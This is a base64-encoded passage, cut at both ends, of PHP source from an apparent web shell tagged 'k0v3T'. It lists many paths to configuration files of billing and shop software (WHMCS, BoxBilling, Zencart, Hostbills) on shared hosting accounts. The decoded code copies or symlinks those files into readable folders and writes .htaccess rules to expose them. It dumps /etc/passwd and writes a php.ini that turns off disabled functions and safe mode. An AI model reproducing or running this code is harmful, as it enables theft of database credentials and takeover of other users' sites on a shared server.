cGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9kb21haW4vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5jbGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3